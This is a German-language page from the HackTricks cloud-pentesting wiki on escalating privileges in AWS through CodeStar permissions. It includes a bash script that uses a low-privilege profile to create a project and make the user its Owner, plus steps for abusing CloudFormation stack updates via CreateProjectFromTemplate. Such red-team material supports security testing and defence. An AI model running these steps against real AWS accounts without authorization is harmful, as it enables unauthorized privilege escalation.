AWS - Codestar Privesc

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Codestar

Weitere Informationen zu Codestar finden Sie in:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Mit diesen Berechtigungen können Sie eine Codestar IAM-Rolle missbrauchen, um willkürliche Aktionen über eine CloudFormation-Vorlage auszuführen. Überprüfen Sie die folgende Seite:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Diese Technik verwendet codestar:CreateProject, um ein Codestar-Projekt zu erstellen, und codestar:AssociateTeamMember, um einen IAM-Benutzer zum Eigentümer eines neuen CodeStar-Projekts zu machen, was ihnen eine neue Richtlinie mit einigen zusätzlichen Berechtigungen gewährt.

bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Wenn Sie bereits ein Mitglied des Projekts sind, können Sie die Berechtigung codestar:UpdateTeamMember verwenden, um Ihre Rolle auf Eigentümer anstelle von codestar:AssociateTeamMember zu aktualisieren.

Potenzielle Auswirkungen: Privesc zur codestar-Policy, die generiert wurde. Ein Beispiel für diese Policy finden Sie in:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Neues Projekt erstellen:
  • Nutzen Sie die Aktion codestar:CreateProjectFromTemplate, um die Erstellung eines neuen Projekts zu initiieren.
  • Nach erfolgreicher Erstellung wird automatisch Zugriff auf cloudformation:UpdateStack gewährt.
  • Dieser Zugriff zielt speziell auf einen Stack, der mit der CodeStarWorker-<generischer Projektname>-CloudFormation IAM-Rolle verbunden ist.
  1. Ziel-Stack aktualisieren:
  • Mit den gewährten CloudFormation-Berechtigungen fahren Sie fort, den angegebenen Stack zu aktualisieren.
  • Der Name des Stacks wird typischerweise einem von zwei Mustern entsprechen:
  • awscodestar-<generischer Projektname>-infrastructure
  • awscodestar-<generischer Projektname>-lambda
  • Der genaue Name hängt von der gewählten Vorlage ab (siehe Beispiel-Exploit-Skript).
  1. Zugriff und Berechtigungen:
  • Nach der Aktualisierung erhalten Sie die Fähigkeiten, die der CloudFormation IAM-Rolle zugeordnet sind, die mit dem Stack verbunden ist.
  • Hinweis: Dies gewährt nicht automatisch vollständige Administratorrechte. Weitere falsch konfigurierte Ressourcen innerhalb der Umgebung könnten erforderlich sein, um die Berechtigungen weiter zu erhöhen.

Für weitere Informationen überprüfen Sie die ursprüngliche Forschung: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Sie finden den Exploit unter https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Potenzielle Auswirkungen: Privesc zur CloudFormation IAM-Rolle.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks